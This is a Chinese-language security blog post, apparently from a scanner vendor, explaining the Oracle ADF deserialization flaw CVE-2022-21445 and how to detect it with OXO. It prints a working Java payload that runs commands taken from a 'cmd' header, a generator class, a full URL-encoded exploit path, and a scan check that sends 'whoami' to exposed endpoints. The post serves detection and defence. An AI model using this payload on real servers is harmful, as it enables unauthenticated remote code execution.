CVE-2022-21445:Oracle ADF 反序列化导致的 RCE
已被积极在野利用的 Oracle ADF 反序列化缺陷 CVE-2022-21445 如何让未经身份验证的攻击者实现远程代码执行,以及如何用 OXO 进行检测。
引言
CVE-2022-21445 时至今日仍在被积极在野利用。尽管这个 Oracle 应用开发框架(ADF)中的严重漏洞早在 2022 年就被发现,它至今仍对企业构成严重威胁。攻击者可利用它远程执行代码,且无需任何交互或权限,这使其即便在今天也成为网络犯罪分子极度觊觎的目标。
理解 CVE-2022-21445 对 Oracle ADF 的影响
从本质上看,CVE-2022-21445 是反序列化漏洞的典型教科书式案例。罪魁祸首是什么?一个看似无害的类,名为 org.apache.myfaces.trinidad.webapp.ResourceServlet。这个负责处理 Web 资源的 servlet 存在一个严重缺陷:它盲目信任并反序列化传入的数据。
对于不熟悉这一概念的人来说,反序列化是指将字节流重新转换为程序中可用的对象或数据结构的过程。它通常发生在:已被序列化(转换为适合存储或传输的格式)的数据被接收,并需要被还原为原始形式以供处理之时。然而,反序列化可能带来安全风险,尤其是当被反序列化的数据来自不受信任的来源时,攻击者有可能借此操纵对象,并在应用内执行有害操作。
CVE-2022-21445 的漏洞利用路径:攻击者如何实现 RCE
为利用此漏洞,攻击者精心构造了一个特殊的 Java 对象,当它被反序列化时,会在服务器上执行任意命令。随后该载荷会被进行 URL 编码,并作为 GET 请求的一部分发送到特定端点。
下面是用于检查脆弱目标的部分漏洞利用代码:
def accept(self, target: definitions.Target) -> bool:
"""Override the accept method to check for X-ORACLE-DMS-ECID in the response headers."""
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)
try:
req = requests.Request(
method=self.check_request.method,
url=target_endpoint,
headers=self.check_request.headers,
data=self.check_request.data,
).prepare()
resp = session.send(req, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException as e:
logging.info("Request Exception Occurred: %s", e)
return False
if "X-ORACLE-DMS-ECID" in resp.headers:
logging.info("X-ORACLE-DMS-ECID header found in the response")
return True
return False
这段代码检查是否存在 X-ORACLE-DMS-ECID 头,该头通常与 Oracle Fusion Middleware 系列产品相关,其中就包括 Oracle 应用开发框架(ADF)。因此,这个头被用来识别潜在的 ADF 目标。
载荷:Java 中的特洛伊木马
漏洞利用的核心在于其载荷。研究人员创建了一个 LambdaIdentity 类,当它被反序列化时,会执行任意命令。下面是其可能形态的一个简化版本:
package com.tangosol.internal.util.invoke.lambda;
import com.tangosol.internal.util.invoke.AbstractRemotable;
public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
try {
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
String cmd = req.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process exec;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
} else {
exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
}
res.getServletOutputStream().clearBuffer();
res.getServletOutputStream().writeStream(exec.getInputStream());
res.getServletOutputStream().flush();
res.getServletOutputStream().close();
res.flushBuffer();
}
} catch (Exception var1) {
var1.printStackTrace();
}
}
}
当这个类在目标服务器上被反序列化时,它会执行攻击者所指定的任意命令。
检测该漏洞
我们开发了一个 Python 脚本来检测易受攻击的系统。我们确定了若干用于测试的特定端点,重点关注常见的 Oracle 产品:
CONTEXT_APP = ["/bicomposer", "/em"] # Testing against Oracle Business Intelligence and Oracle Enterprise Manager
漏洞利用路径是通过一个自定义 Java 脚本 Main.java 生成的,该脚本构造出一个恶意的编码载荷:
package org.example.miracle;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import com.tangosol.internal.util.invoke.ClassDefinition;
import oracle.adf.view.rich.util.SerializationUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws IOException {
RemoteConstructor remoteConstructor = new RemoteConstructor(
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("/home/nmasdoufi/Downloads/CVE-2022-21445/target/classes/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
);
String saa = SerializationUtils.toURLEncodedString(remoteConstructor);
System.out.println(saa);
}
}
下面是使用该载荷的漏洞利用路径:
EXPLOIT_PATH = (
"/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DtVdbcBtXGf5WlrSb9ToX5eIotzalDXJi6%2BJbsB1KJdkiAeVCZNwkBsxqdWxv"
"-stqVd49sB2jacm8LpdxpaBugtOESmOFFZDqTTuCBYWCAGV6Y4QF4YIYO0z7BDDwwlP_oEkux3DgP"
"-SKOze_7_P__l_N_5_6NrbyDguRgwnGKU6_ac4zlW1LQ5c23dipa5KWaLzgUWPc2KDmdpx_a4Wza4"
"-4_7m8uuZ6T_9fckH3zSU4ozuJN05j2PrdPa8vqjHLFIXO5k_zww%2BloVWnCmwWdM2uenYHANZshhr"
"-WIw1LMaExVjNYixt6Z43fmvR2HKp7Da0R4X2aF37M789c2Wz12P5gOUS6EMRJe4c0W36H_j1q0_9-C3"
"%2B8XI1nA8WTrwpwmqay8BdnzAJHYr1%2BHyswm5v8Ys1rUnHtH93_DiqTf6k72Vn51X9feZV8HcSP-ZZxQcRAnVZzC"
"%2B2ScVuFHToWESQXvV6FhSsXDOCOGswrOyZgWxA%2Bo%2BCA%2BJGNGwYdl6AqOqNiEvIrd"
"-MBQUVDDMismcgnnxNFWcxwUZloKieLUVOApKKrZgQYULTwVHWbwtimFJDMuCe1HGR1S8HR%2BV8TEZ"
"-j0gIHhFb9qCEjkjPlAR_2ikwCZuyps1OlIt55k7qeYsooaxj6NaU7ppiXif62TIzJGxtAskp1zGY"
"-541JkPWCXqItlbA7u8TyljNnGrElx70Qe5iGZI1JcoFZk1kFCeEmLS6btQgNsYxgkUyHkz8vfFgF"
"-RmK5bEFCdMWEx9xFi_GVfOZqhNNsocw8fqxYsmrLPAmx9SzzSnRQWGOdUSy0epLjrmnPEcu_qLsJ-CdubeBPLBitVAU9sPm"
"%2BSyXPrQJ2lF_MFPZatPhrou38i0T%2BRTg6OZOLD4_HBeCI5Mj4YH071j6fT"
"-hweHB5JkoyvHdePCcb1UTVA1x5dkPEqgJGwRsAgxMh4jDEhQc07ZNVjGFIkcvEtTURGihM2350PD-ITwu4"
"%2BMaPoFPUuJb8z5BaClzNjnvMr2g4VP4tIbP4LMSthiObdNy2qijul2wmKvhCTxJnmt4Cp_T"
"-8Hk8TVJzjLfmkoC64kH1qGr4Ap6R8UUNX8KXJfTeDSoorc0WammX0HdXENHwFXxVw9fwdToBjhe1"
"-9SLl4RsanhXky_gmQWjJtDU8h%2BdlvKDhCr7VspE1OEnwxQwNcXyb3rx5Gvpo%2Bh28KOO7Gl5CL6VR-w8u4quF7"
"%2BL6GH6BXww_FcA29dCLbQFDDjwTrzP8LflK189xBdTJPLUc3eLUD1YpIeM3iIKF7jZJA"
"-YFhVciTsiLRpV6KqNW1vDXx0Uoyy61Jkjfm2SE_2dik6UBsJEemapHBMwl6Se6tqpogFAomUhBaV"
"-VSIJbCaBcWZYussK9Vj6IqvLSc9bVMMuj_GkIWI2a2U4ck5E2UGaJRyItNmDdoVzA4kfZ3zeIQ8e"
"-auPB9Crn2_lU00Dqdq7Fox5TS76EkTa%2BtUvZWu4epaQIWBy4w4bdKsmy6U0US_xitb2daz1nFz3O"
"-ihI6SS8hqMRcIdbJnayzxNy0Lo5%2BKyhuaVWoXHHdtCnHu5s9Sc_rbk7UE9tgY8JcE0hPl%2BkUFUmn"
"-SvZuTba3GKiTyUKkBcltIlxpsztWatbJMi%2BVOUkznQIbakbqWqWreUm9wyXuehFtm2Ex3U2VZ2dF"
"-esShOWY3udLdCNN0Yk0MMta55JqcNeR2RtqKCXAHZq2yqIMBw3JEajqr84bFTSXaIV5tfpNUXhj2-o4duYeIj0fcQemnsA3w"
"%2BBKAQ9Y2DHTcg_RS%2B6%2Bi4CX8FgeyhCoIhuQLleC_NN_TSXD3RJ4idJKtV"
"-0NUn1lSw8SY2jfqrnM2rOFtGA2F_KFTB1tFgOPgLXAoHK9h2GYuh7dexo4Lu0M4Kws9i_3XsCt7A-7rMdoVDurD"
"%2B0J3c2EA7mKtg7Kl_FvhXuPsG9p4kbDlRwbwX7q88wOXxfBW%2BrE%2B%2BvPx8QzwNXoYio-Ij%2Bh4BX8FX%2Bji18HohT"
"%2BFLbTGCSqghA2YA9U2rJO4mtIogvT2IgC3UAX6Mr4OElcwTa8gh34Obrx-O"
"%2BzEHxDGn7GLdO4jrXvwGvbiddyDGGmdJV3PkZ04EpBp1cH6Wwi_Rz8GyJc9%2BCVdlYfgI3s3MIzD"
"-JJ3Ei3gHRui2PE2tfxRjlKgCHsMRvJP8fI3oD%2BJdtJZSh4dIGkjRbwCBN8k5WUZaxriMCRkZGe%2BW"
"-cVTGMeA_2CXjPW8SFiSSoCUy3usnJVla6sNx%2BmsRW%2Bdfi0YXfCTzM37zn5ERHzqy6CzOeCkqFCeo"
"-x_N2d8IsVBI5RajU59gCLqGrRplirkcduUpZLnFsbG21HJH1NmmOewf7B1Lx_nR8KB5PHE71D46n"
"-EvHxTObw0EgyOTScyvwPvlNuShcOAAA%3D-/"
)
检测脚本向潜在目标发送一个精心构造的请求,并检查成功利用的迹象。下面是部分检测逻辑:
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect specific vulnerability on a specific target.
Args: target: Target to scan
Returns: List of identified vulnerabilities. """
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
vulnerabilities: list[definitions.Vulnerability] = []
for context in CONTEXT_APP:
exploit_endpoint = urlparse.urljoin(target.origin, context + EXPLOIT_PATH)
try:
exploit_req = requests.Request(
method="GET",
url=exploit_endpoint,
headers={"cmd": "whoami"},
).prepare()
exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT)
if exploit_resp.status_code == 200:
response_text = exploit_resp.text.lower()
if any(
user in response_text
for user in ["root", "nt authority\\system"]
):
logging.info(
f"Potential RCE vulnerability detected at {exploit_endpoint}"
)
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)
break # Stop checking other contexts if vulnerability is found
except requests_exceptions.RequestException as e:
logging.info(f"Exploit check failed for {exploit_endpoint}: {e}")
return vulnerabilities
工作原理
脚本首先与目标建立一个会话,从而高效地管理请求与响应。随后它构造一个指向特定端点的 GET 请求,并在请求头中嵌入一条 command 来探测系统。在收到 200 OK 状态后,脚本会分析响应,寻找命令成功执行的迹象,例如响应体中出现 root 或 SYSTEM。如果检测到远程代码执行(RCE)漏洞,脚本会记录该事件,并将识别出的漏洞追加到一个列表中以便后续处理。
使用 OXO 工具测试 CVE-2022-21445
如果您担心自己的实例可能存在漏洞,请按以下步骤使用 OXO 工具运行测试。OXO 提供了一种直接的方式来扫描并检测此漏洞。您可以这样开始:
- 通过 pip 安装 OXO:
pip install -U ostorlab
- 从 OXO agent store 安装 asteroid agent:
oxo agent install agent/ostorlab/asteroid
- 使用以下命令通过 asteroid agent 运行扫描:
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET